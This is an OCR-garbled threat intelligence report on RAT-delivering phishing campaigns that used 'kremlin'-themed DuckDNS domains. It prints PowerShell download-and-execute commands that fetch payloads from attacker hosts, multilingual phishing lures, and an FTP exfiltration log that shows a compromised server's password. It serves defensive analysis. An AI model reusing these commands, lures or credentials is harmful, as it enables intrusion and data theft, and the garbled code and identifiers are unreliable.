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The analysis of phishing campaigns carried out by a new threat actor

In May 2020, Group-IB's network graph — an automated tool for analyzing adversary
infrastructure — first detected domains with an unusual pattern (*kremlin*.duckdns.org) to
which various malicious files were connecting. Group-IB's Threat Intelligence & Attribution
team examined the domains and identified three phishing campaigns that were used to
deliver various RATs, such as NetWire or AsyncRAT. The campaigns had been active since
2019 and targeted users in Poland, Turkey, Italy, Spain, Ukraine, Russia, Kazakhstan,
Bulgaria, Belarus, Greece, and the Czech Republic.
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Analysis of these campaigns revealed that the threat actor used phishing emails with
malicious attachments to gain initial access. Office documents exploiting vulnerabilities in
Microsoft Office products, as well as malicious macros were used as attachments. Group-IB
discovered more than 100 phishing email samples distributed en masse.

Depending on the geographical distribution of the targets the cybercriminals altered the email
contents and language. Phishing emails were accompanied by fake purchasing orders and
other financial documents, used COVID-19 as a theme sometimes and were made to look
like legitimate communications from banks or well-known logistics companies.

Robin Hakansson < Reply | % Reply|
5102742018]: RE: Lieferschein

‘o undisclosed-recipients:; ¥

Sehr geehrter Kunde,

Ihr Paket ist kiirzlich in unserem Zentrum angekommen, aber wir kénnen die Lieferadresse nicht finden.
Hier finden Sie das registrierte Kontaktformular, den Lieferschein und die Zahlungsdetails der Fluggesellschaft.

Geben Sie die uns gegebene Kontaktnummer ein und senden Sie sie uns.

Wir freuen uns von Ihnen zu horen,

Robin Hakansson

fert.

» [ 1 attachment: Dokumentation.xls
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© Reply || ® Reply All |v | ~ Forward || More v

3102747012]: RE: Aviso de entrega 06.05.2020, 10:49

Advertencia : Este es un email externo. No acceder a links incluidos en el email ni abrir archivos adjuntos a menos gue reconozca el remitente y esté convencido
que es seguro. Ante cualquier duda consulte con Dpto. Soporte.

| Estimado cliente,

Su paquete ha llegado recientemente a nuestro centro local, pero no podemos enceontrar la direccion de entrega.
Encuentre el formulario de contacto registrado, el recibo de entrega y los detalles de pago de |la aerolinea

| complete el nimero de contacto que se le proporciond y envienoslo.

cion comercial confidencial. Esta d ado exclusivamente para el uso de la
v ([ 1 attachment: Documentacion.xls 110 K& [ save |~

@l Documentacion.xls 110 KB

The unconventional naming pattern for the domains used to deliver malware (*kremlin,
*crimea, *putin) might be an amateurish attempt to imitate Russian speaking cybercriminals
to throw researchers off track and complicate attribution.

Nevertheless, during further analysis of the adversary infrastructure and the TTPs employed,
as well as a set of malicious software used in conjunction with DDNS services Group-IB
researchers attributed the campaigns with high confidence to a previously unknown threat
actor from Nigeria.

The post examines three threat actor's campaigns carried out in 2019 and 2020, analyzes
the adversary's infrastructure and TTPs and provides recommendations and mitigation
techniques to thwart the threat.

Summer 2020 campaign

The initial list of domains that caught our attention was:

e crimea-kremlin[.]Jduckdns.org
e kremlin-afghan[.]Jduckdns.org
e kremlin-crimeal.]Jduckdns.org
e kremlin-turbo[.]Jduckdns.org
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These domains were registered to the same IP address (79.134.225[.]43) on June 15, 2020.
According to the Group-IB network graph, there are about 30 different malicious files
associated with these four domains. The decoys found suggest that the campaign targeted
users in Poland, Turkey, Italy, Germany, and Bulgaria.

4
crimea-kremlin.duckdns.org

berc

mlin-crimea.duckdn

Malicious infrastructure identified by Group-IB's graph

Further analysis showed that most of the files had been uploaded to public sources from
June 25, 2020. The most common names were "Potwierdzenie transakcji.xls", "islem
makbuzu", "WACKER - 000160847 .xls", and "Potwierdzenie operacji.xls". One of these files
(SHA1: 95A6A416F682A9D254E76EC38ADEO1CE241B3366) is a decoy document in
Polish supposedly sent from one of the local banks.
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Wiacz zawartosé i edytuj, aby wyswietlic dokument.

- Dynamiczne tresci multimedialne
— brak wtyczki

et -

Decoy document SHA1: 95A6A416F682A9D254E76EC38ADE01CE241B3366
Infection

After the macros in this document are enabled, a PowerShell script is executed to extract the
second-stage command from the lab.jpg file located on a remote server:

k:-m-u;—-rzahell .exe -Command IEX (Mew-Object('Net.WebClient')).'DoWnleadsTrInG'('http://officeservicecorp[.]biz/Lab.jpg')

Executable PS script from a macro

The lab.jpg file contains a Base64-encoded command that, after being decoded, looks as
follows:

St','rin', Do'wn'10a,'g");[void] [System.Reflection.Assembly]: :LoadWithPartialName ("
(nBzIBaeZsHnHoiQboOuVmPP ongDRUF+Av1atXegan?lkTpmnquhlr1pJ¥QHLy SIqcfewvy-|
]+ :CallByname( (A ct NeT.WeBClieNT),iPsbbyvibk,[
lhthod "htt'+[Char]80+"' [fhﬁr]ﬁﬁ '/officeservicecorp.biz/rnp.txt').Replace("", "
) 166 Byt

Eallﬂwname{t ject NeT. w e b [ l ieNT),Psbbyvlbk
[Char]58 + '//officeservicecorp[. ]biz/file.txt").replace('@", "0x") C.l
TSQnBz IBaeZsHnHoiQboOuVinPPpODofgDDROF FAVIatXegxwnZiktpmnCqFhlMipIYQVCyzSIqcTewy)

Deobfuscated contents of lab.jpg
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This code reads the contents of the file http://officeservicecorp].]biz/rnp.txt, which contains a

payload.

As a result of this sequence of PowerShell scripts, the infamous NetWire RAT is loaded and
executed. The tool connects to its C&C server (kremlin-crimea[.]Jduckdns.org) on port 3396.

mov [esp+12Ch+var 128],
call sub_410B17

mov [esp+12Ch+var_12C],
mov [esptl2Ch+var_124],
mov [esp+12Ch+var_128],
call sub_418817

mov [esp+l2Ch+var_12C],
mov [esp+i2Ch+var_124],
mov [esp+12Ch+var_128],
call sub 410817

mov [esp+12Ch+var_12C],
mov [esptl2Ch+var_124],
mov [esp+l2Ch+var_128],
call sub_a188B17

mov [esp+l2Ch+var_12C],
mov [esp+l2Ch+var_124],
mov [esp+l2Ch4var_128],
call sub 410817

mov [esp+12Ch+var_12C],
moV [esp+12Ch+var_124],
mov [esp+12Ch+var_128],

NetWire RAT configuration

offset akKremlinCrimeaD ; "kremlin-crimea.duckdns.org:3396;"

ebx
BFFh
offset unk 421600

ebx

26h ; "'

offset aCodin2318 ; "codin2318’
ebx

27h

offset aMhtlab ; "MHTLAB"

ebx

8

offset Name ; "DbIAYvKS™
ebx

g8eh ; '€’

offset unk_4214E6@

If we insert the original domains into the graph in increments of 2, we will see not only these
domains, but also the rest of the associated infrastructure that was involved in all the

infection stages.
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Graph in increts of 2. Asociated infrastructure detected by Group-IB's network graph

It is interesting to note that files that connected office-service-tech[.]info also performed
network connections to ahjuric[.]si. One of these files (SHA1
a3816¢37d0fbe26a87d1cc7beff1ce5816039e7) was a decoy document in Turkish with the
logo of a state-owned bank in Turkey.
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A decoy document targeting Turkish users. SHA1:
a3816¢37d0fbe26a87d1cc7beff91ce5816039e7

This document contains a malicious macro that executes a PowerShell script. The latter
reads Code.txt from a remote server and runs a chain of obfuscated PS scripts.

Contents of ahjuric[.]si/code.txt

aiulé: Wiliealimiasl ulaas dligemiialiesz
1181880118188101181111u1181118u1816688 I'J']PH 111811611868m118188

1laliseaiiDigecaai{ieliaia
881816m111a111ml888881811168811z166868881z1 51181166811z 166 1186611a11686111018886160111866601888881018688111n118188216688810186161811116111a186888

Contents of ahjuric[.]si/code.txt

Executing the obfuscated PS script leads to another Base64-encoded script being executed.
The latter will ultimately execute the payload in the form of NetWire RAT from office-service-
techl.]Jinfo/pld.txt.
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Contents of office-service-techl.Jinfo/pld.txt

The C&C server of this sample is crimea-kremlin.duckdns[.]org.

We also found files that make network connections simultaneously to kremlin-
turbo.duckdns|.]Jorg and wshsoft[.Jcompany. The latter domain name brings to mind the WSH
RAT, which is based on the Houdini code. One of these files (SHA1:
b42a3b8c6d53a28a2dc84042d95ce9cabe09chbcf) is a RAT sample that sends requests such

as /is-ready to the C&C server kremlin-turbo.duckdns|.]Jorg:3397. WSHRAT is indicated as its
UA.
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< b42a3b8c6d53a28a2dc84042d95ce9cabe09chcf

First seen 202

URL & Request

http://wshsoft.company/python27 zip

http:/kremlin-turbo.duckdns.org:3397/update-status%7Clnstalling+SDK
.-._ 1 | -

IRL

http://kremlin-turbo.duckdns.org:3397/is-ready

http://kremlin-turbo.duckdns.org:3397/maili
s

Network requests of the file with SHA1: b42a3b8c6d53a28a2dc84042d95ce9cabe09chcf




At this stage, it is important to note that some of the domains used in this campaign were
registered to the email address tetragulf@yahoo[.Jcom.

Reqistra
office-service-softs.info pdr Itd d/b/a

publicdomainregistryco
m

208.91.197.91 tetragulf@yahoo.com

okina Isma

Domain name Reaqistra
officeservicecorp.biz pdr Itd d/b/a
publicdomainregistryco
m

I
195.22.153.135 tetragulf@yahoo.com

okina Isma

omailr Ime istra
office-services-sec.com pdr Itd d/b/a

Seciv publicdomainregistryco

Spring 2020 campaign

While examining all other related infrastructure, we came across domains registered to
asetonly@yahoo[.Jcom. Since early 2020, the following domains have been registered to this
email address:

. nitro-malwrhunterteams[.Jcom

. office-data-labs[.Jcom

. putin-malwrhunterteams|.Jcom

. kremlin-malwrhunterteam[.]info

. skidware-malwrhunterteams[.Jcom
. screw-malwrhunterteams|[.Jcom

. screw-malwrhunterteam[.Jcom

NoO ok WODN -
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8. office-services-labs[.Jcom

9. office-cloud-reserve[.Jcom
10. office-clean-index[.Jcom

11. office-cleaner-indexes[.Jcom

We collected over 130 different malware samples from various sources associated with
these domains. Judging by the names and content of these samples, the spring 2020
campaign targeted users in Europe and CIS countries. Group-IB experts uncovered decoy
documents in Ukrainian, Belarusian, Kazakh, Russian and Greek.

The campaign's first files were uploaded to public sandboxes on March 23, 2020. One of
these files was named "AHani3 npoekty.docx" (SHA1-
d8826efc7c0865c873330a25d805¢c95¢c9e64ad05) and was distributed as an attachment to
the email "EnexkTpoHHa poscunka_ 3miHeHe 3amoBrieHHsa.eml" (SHA1-
7f1fdf605e00323c055341919173a7448e3641fb), which was uploaded to VirusTotal via a
web interface from Ukraine.

EnexTponna pozcunna: 3minene 3amosnenta - Mozilla Thunderbird

Tools Help

A& Address Book

4 Reply % ReplyAll |v | - Forward | More v
EnexTpoHHa po3cunka: 3MiHeHe 3aMOBNeHHSA 4/16/20,1:06 AM

undisclosed-recipients:; ¥

Byab nacka, uMtykTe BIANOBIAHO.

Hanicnano 3 moGinsnoro Teneony Huawei

~ [ 1 attachment: AHani3s npoekTy.docx

Ananis npoexTty.docx 50.6

Contents of the email "EnekmpoHHa po3curika_ 3miHeHe 3amogrneHHs.eml”
Infection

The document's content doesn't spark much interest and looks like a scanned invoice.
However, the document exploits the CVE-2017-0199 vulnerability, which executes a
command that loads the payload http://office-cloud-reserve[.Jcom/hydro.exe.

in powershell %Computer "L 5%c = [MMICLASS]™™™\\Fcomputer\roo 32_Proc §f =[WMICLASS]"""\‘\$computer\r
v ~§f.Create tance(); <Showhindow €. Powershell

e com/

Executable PowerShell script
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The payload is the AgentTesla spyware . A legitimate compromised domain
(ftp.centredebeautenellycettier|.]fr) was used as a server for data exfiltration.

FTP Packets

Source
Timestamp Port Dest Port  Source IP Dest IP Commands
Apr 21,2020 11:41:12.006486893 CEST 21 49947 108.234.162.66 192.168.2.6 Welcome to Pure-FTPd [privsep] [TLS] -- -
Welcome to Pure-FTPd [privsep] [TLS] - -220-You are user number 24 of 50 allowed.
Welcome to Pure-FTPd [privsep] [TLS] - -220-You are user number 24 of 50

allowed.220-Local time is now 10:41. Server port: 21
220~ Welcome to Pure-FTPd [privsep] [TLS] ---------220-You are user number 24 of 50
allowed.220-Local time is now 10:41. Server port: 21.220-This is a private system - No anonymous
login
220--—----—-- Welcome to Pure-FTPd [privsep] [TLS] ---------220-You are user number 24 of 50
allowed.220-Local ime is now 10:41. Server port: 21.220-This is a private system - No anonymous
login220-IPv6 connections are also welcome on this server.
220-—---—- Welcome to Pure-FTPd [privsep] [TLS] --------—-220-You are user number 24 of 50
allowed.220-Local time is now 10:41. Server port: 21.220-This is a private system - No anenymous
login220-1Pv6 connections are also welcome on this server.220 You will be disconnected after 15
minutes of inactivity.

Apr 21, 2020 11:41:12.008265018 CEST 49947 21 192.168.2.6 109.234.162.66 USER cloud@centredebeautenellycettier.fr

Apr 21,2020 11:41:12.046142101 CEST 21 49947 109.234.162.66 192.168.2.6 331 User cloud@centredebeautenellycettier.fr OK. Password required

Apr 21,2020 11:41:12.046751976 CEST 49947 21 192.168.2.6 109.234.162 66 PASS Aloraboy21@

Apr 21, 2020 11:41:12.113518000 CEST 21 49947 109.234.162.66 192.168.2.6 230-Your bandwidth usage is restricted
230-Your bandwidth usage is restricted230-OK. Current restricted directory is /
230-Your bandwidth usage is restricted230-OK. Current restricted directory is /230 70 Kbytes used
(0%) - authorized: 2048000 Kb

Apr 21,2020 11:41:12.152096987 CEST 21 49947 109.234.162.66 192.168.2.6 200 OK, UTF-8 enabled

Apr 21, 2020 11:41:12.152657986 CEST 49947 21 192.168.2.6 109.234.162 66 PWD

Apr 21,2020 11:41:12.190429926 CEST 21 49947 109.234.162.66 192.168.2.6 257 "/" is your current location

Apr 21,2020 11:41:12.190960884 CEST 49947 21 192.168.2.6 109.234.162 66 TYPE|

Apr 21, 2020 11:41:12,228764057 CEST 21 49947 108.234.162.66 192.168.2.6 200 TYPE is now 8-bit binary

Apr 21, 2020 11:41:12.229393959 GEST 49947 21 192.168.2.6 109.234.162.66 PASV

Apr 21, 2020 11:41:12.267153978 CEST 21 49947 108.234.162.66 192.168.2.6 227 Entering Passive Mode (109,234,162 ,66,228,141)

Apr 21,2020 11:41:12.311297894 GEST 49947 21 192.168.2.6 109.234.162.66 STOR PW _user-960781_2020 04 21_11_41_10.htm|

Apr 21, 2020 11:41:12.605967999 CEST 21 49947 108.234.162.66 192.168.2.6 150 Accepted data connection

Apr 21, 2020 11:41:12,733592033 CEST 21 49947 109.234.162.66 192.168.2.6 226-71 Kbytes used (0%) - authorized: 2048000 Kb

226-71 Kbytes used (0%) - authorized: 2048000 Kb226-File successfully transferred
226-71 Kbytes used (0%) - authorized: 2048000 Kb226-File successfully transferred226 0.127

<econds (measirad herel 3 37 Khutes ner secand

Setting up an FTP connection

Another analyzed file (SHA1- 19324fc16f99a92e737660c4737a41df044ecc54) called
"BannaHbicopTanbikTapbl.img" was distributed as an attachment to COVID-19-themed emails
(SHA1: 403c0f9a210f917e88d20d97392d9b1b14cbe310) in Kazakh.

Koneug-19 ceinax opranwikrapel - Mozilla Thunderbird

File Edit Go Message JTools Help

Chat & Address Book |

© Reply | % ReplyAll |~ | - Forward | More v

KoHBna-19 ceiHaK opTanbiKTapbl 5/20, 2:35 AM

KasakcTaHnarsl Dapnulk, TecTiney OpTankiKTapsiHbli 0aANaHLC aKNapaThiH KOCY.

» [ 1attachment: BaoxeHue 63 umenn 00005.dat
e

Contents of the email 403c0f9a210f917e88d20d97392d9b1b14cbe310
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This attachment is an .iso image. In some cases, it is named "bannaHbic opTanbikTapbl.img".
The file is mounted to the system as an image which contains one obfuscated VBS file
(SHA1: fd274f57e59c8ae3e69e0a4eb59a06ee8fd74f91) named "[eHcaynbik cakray
OomblHLWAa aHblKTamarnblk XXaHegepekTep 6asacbl.vbs". The file is a loader that executes an
obfuscated PS code. After that, the file http://office-cleaner-indexes[.]Jcom/loud.jpg is read.

' sal MUM SVH SFgin

Fginsijssjkmfjibn

Contents of the dropped file SHA1:fd274f57e59c8ae3e69e0a4eb59a06ee8fd7491

As a result, AgentTesla is loaded and executed, which also exfiltrates the data through
ftp.centredebeautenellycettier[.]fr

Another document (SHA1: c992e0a46185bf0b089b3c4261e4faff15a5bc15) named
"2upowvia 060520.xlIs" was distributed via email in Greek. Its content looks the same as all
others in this campaign, but in Greek. Its NanoCore Rat payload connects to screw-
malwrhunterteams[.]Jcom.

Evepyomoijote 1o Mepiexopevo Kal ETTEEEPYACTEITE yia va
ENQavICETE TO Eyypago.

3

Auvapuikd MEPLEYOUEVO TTOAVHETWY
Aeirter n mpooBrikn

Contents of the decoy document "2uugpwvia 060520.xIs"
2019 campaign

Further analysis of the infrastructure related to tetragulf@yahoo[.Jcom revealed that in 2019
only four domains were registered to this email address, two of which were registered in late
February and were involved in one campaign distributing malicious documents.
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List of registered domains (those confirmed as malicious are underlined):

east-ge[.Jcom
mariotkitchens|[.Jcom
sommernph[.Jcom
kingtexs-tvv[.Jcom

The first files associated with these domains were first uploaded to public sandboxes on
June 18, 2019.

Graph sommernph.com, kingtexs-tvv.com 0 Nodes details

CNC 0247.dee, WY 0247,

Rich Text Format data, version 1, unknown character
set

EMATE mall | ITE-A linleards tovt

List of malicious files associated with the 2019 campaign according to Group-IB network
graph

Most of these files are RTF documents that exploit the CVE-2017-11882 vulnerability, while
others are the executable payload. While investigating this campaign, we found emails and
decoys in Ukrainian, Russian, Greek, Spanish, and Czech.

Infection

One of the first documents in this campaign was distributed via email under various names:
"CNC 0247.doc", "4ITY 0247.doc" (SHA1: 443c079b24d65d7fd74392b90c0eac4aab67060c).
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Yny 0247 /| NpepxouTpaxTHbie pekomenpaumu - Mozilla Thunderbird

File Edit View Go Message Tools Help

CJChat A& Address Book |

© Reply | % ReplyAll [v/| # Forward || More v

YMY 0247 [/ NpepKOHTpaKTHbIE peKOMEHAAUMMN 6/18/19, 2:00 AM

undisclosed-recipients: 7¥

MoXxanyhcTa, BEpHUTE NPUKPenieHHbI NoANUCaHHbIA U 3aBepeHHbIl NevaTblo.

C Hanny4Ww MMM noxxenaHnamu,
Bhaowmunp.

OTnpaBneHo ¢ nomowkio Genius Scan for iOS.
https://dl.tglapp.com/genius-s

OTnpaBneHo Ha iPhone

+ [ 1attachment: YNY 0247.doc B Save |v

YNy 0247.doc 101KE
Contents of the email (SHA1: b6ff3e87ab7d6bd8c7abd3ee30af24b4e3709601)

According to our graph, this document connects to http://68.235.38[.]157/ava.hta and
kingtexs-tvv[.Jcom
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(T e —— ] < 443¢079h24d65d7fd74392b90c0eacdaab67060c

URL & Request

hHE:
Gad

Kingtexs-tvv.com

185.247.228.69 ‘

m.put.re

Network communication of the file SHA1: 443c079b24d65d7fd74392b90c0eac4aab67060c
(according to Group-IB's network graph data)

We found this host interesting and uncovered additional files that established network
connections to http://68.235.38[.]157. Some of these files, "Estos son los documentos
adjuntos de junio.doc" (SHA1: 02799b41c97b6205f1999a72cef8b8991d4b8092) and "New
Order.doc" (SHA1: 25abf0f75¢c56516134436¢1f836d9db1e770ff30), exploit vulnerability
CVE-2017-11882. At startup, they establish a connection to http://68.235.38[.]157/oyii.hta.
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Contents of http://68.235.38].]157/oyii.hta

This file contains a Visual Basic code, which performs a Base64-encoded PowerShell
command to download payload from the public file storage system
https://m.put[.Jre/Qm8He5E4.exe (SHA1: 523c5e0a1c9bc6d28f08500e96319571b57e4ba?)
and stores it to the temp directory under the name "avantfirewall.exe".

bowershell noprofile noni -W enc iex ((new-object system.net.webclient).downloadfile("https://m.put.re/QméHe5E4.exe”, "tenv:temp

Zavantfirewall.exe"))

Executable PowerShell script

The payload reads the content from https://paste[.]Jee/r/rSrae, which results in the Async RAT
being executed. The tool connects to the C&C server kizzoyi.duckdns[.Jorg on port 8808.
Another document from this campaign is named "Tabnuui.doc" (SHA1-
1230acfd1f6f5b13a218ff8658a835997d1f0774). It was distributed via emails in Ukrainian.
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3anwmT - wepsens [ nuners - Mozilla Thunderbird

File Edit View Go Message Tools Help

CJChat /& Address Book |

& © Reply = % ReplyAll [v ~ Forward More v
3anuT - YepBeHb [ NUNeHb 6/26/19, 3:16 AM

undisclosed-recipients:; ¥y

Byas nacka, nepeeiprte npuxkpinnedi Ta Hasefite Hadkpawi uinw.

InpopMauin, wo MICTUTLCA B UbOMy MoBigomneHHi, € 3ape3epeoBaHow 1 NpW3HauyeHa Tinekw ons ocobu (oci6), mo
AKo1 appecoeaHa ocoba, 1 AKa He MOXe poO3rNAfaTUCA AK ocoOMcTe noeipgomneHHA, 1 Tomy BCl Bipgnoeipi MoxyTe GyTH
sinoMi ocofaM, AKL HanexaTb A0 Komnadii. Axkwo ue NosifoMNEeHHA HANXOOWTbL HEnpaBWnbHO, NOBiAOMTE Npo Ue
einnpaeHrKa, Hapicnasww signoeins Ha ue nosipomneHHA. UA npuMiTKa Taxkok NioTeepoXye, WO UA eNeKTPOHHa mowTa
KOHTPOMWETLCA BiANOBiOHOK NPOrpaMol NPOTH KOMN'WTepHWX Bipycis.

Us enekTpoHHa mowta Ta Bci cynposipHi dainm € koHpipeHuidHumu i npu3HaveHl nuwe gns BuKopucTawHA ocobow abo
opraHisauiew, 0o Akoi eoHn agpecoBaHi, 1 AKki He MOXyTb pO3rNANATMCA AK 0cobucTi 38'A3KM, Tak wo Bci
Bignoeini MoXyTe OyTW mocTynHl onA ocif, wo HanexaTs 0o KoMnawil. AKWoO BW HENpaBWNbHO OTPUManK uUe
nosipomMnedHs, noeigoMTe npo ue sipnpaeHvka. UA BMHOCKA Takox NiATEEpAMYE, WO U NOBLAOMNEHHA ENeKTpPOHHOL
nowtW Oyno Nignado Kown'wTepHWX Bipycie eignosigHWM NpOrpaMHMM 3a6e3MNeJeHHAM.

» [ 1attachment: Tabnuui.doc

Once the document is run, the critical vulnerability CVE-2017-11882 allows malicious code
contained in the wd32PrvSE.wmf OLE object to be executed without any user interaction.

‘tablici.doc' - size: 43620 bytes
_.__+ __________ + ———————————————————————————————————————————————————————————————

id |index |0LE Object

0000131Ah format_ld. 2 (Embedded)
class name: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00"
data size: 4157
MD5 = 'bbb64559b6936e18da258240ab3f68ab’

[ T ——— P ——

0000345Bh

OLE objects contained in SHA1:1230acfd1f6f5b13a218ff8658a835997d1f0774

As a result of code execution from OLE objects, the Async RAT is loaded and executed.
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Recommendations

Below you will find adversary techniques and defensive measures mapped against MITRE

ATT&CK and MITRE Shield, which we recommend using to prevent similar incidents.

All mitigation techniques are implemented in Group-IB products to ensure that our clients are

protected at all attack stages. If you have any questions or suspicions about an emerging
incident, please email us at response@cert-gib.com.

Kremlin RATs campaigns

MITRE ATTaCK and MITRE Shield

Resource
Development

Initial Access

Execution

Persistence

Defense Evasion

Credential Access

Collection

Command and
Control

You can find more information about Group-IB products and services and request a demo at

T1583. Acquire Infrastructure
T1588.005. Obtain Capabilities: Exploits
T1588.001. Obtain Capabilities: Malware

1ID: T1566.001. Phishing: Spearphishing Attachment

T1059. Command and Scripting Interpreter
T1204. User Execution
T1203. Exploitation for Client Execution

T1053. Scheduled Task/Job

T1036. Masquerading
T1027. Obfuscated Files or Information

T15585. Credentials from Password Stores
T1552. Unsecured Credentials

T1005. Data from Local System

T1071. Application Layer Protocol
T1573. Encrypted Channel

https://www.group-ib.com.

Share

M1058. Pre-compromise
M1018. Vulnerability Scanning

M1049. Antivirus/Antimalware
M1031. Network Intrusion Prevention
M1017. User Training

M1050. Exploit Protection

M1051. Update Software

DTEOO35. User Training

DTEQO19. Email Manipulation
DTEOQO27. Network Monitoring

M1049. Antivirus/Antimalware

M1038. Execution Prevention

M1021. Restrict Web-Based Content
M1026. Privileged Account Management
DTEQO35. User Training

DTEOO21. Hunting

DTEOQ18. Detonate Malware

DTEOQOQO7. Behavioral Analytics
DTEOOO3. API Monitoring

DTEOQO34. System Activity Monitoring

M1049. Antivirus/Antimalware
DTEQQO7. Behavioral Analytics
DTEOQOQO3. API Moenitoring

DTEOO34. System Activity Monitoring

M1038. Execution Prevention

M1031. Network Intrusion Prevention
DTEOO21. Hunting

DTEQ022. Isclation

DTEOO27. Network Monitoring
DTEQ0O3. API Monitoring

DTEOQ34. System Activity Monitoring
DTEOQO31. Protocol Decoder

Receive insights on the latest cybercrime trends

GROUP|IB

Security Assessment
Threat Intelligence & Attribution

Threat Hunting Framework

Threat Intelligence 8 Attribution
yber Education

Red Teaming

Threat Hunting Framework
Red Teaming

Incident Response

Fraud Hunting Platform

Threat Hunting Framework

Threat Hunting Framework

Group-IB, 2021
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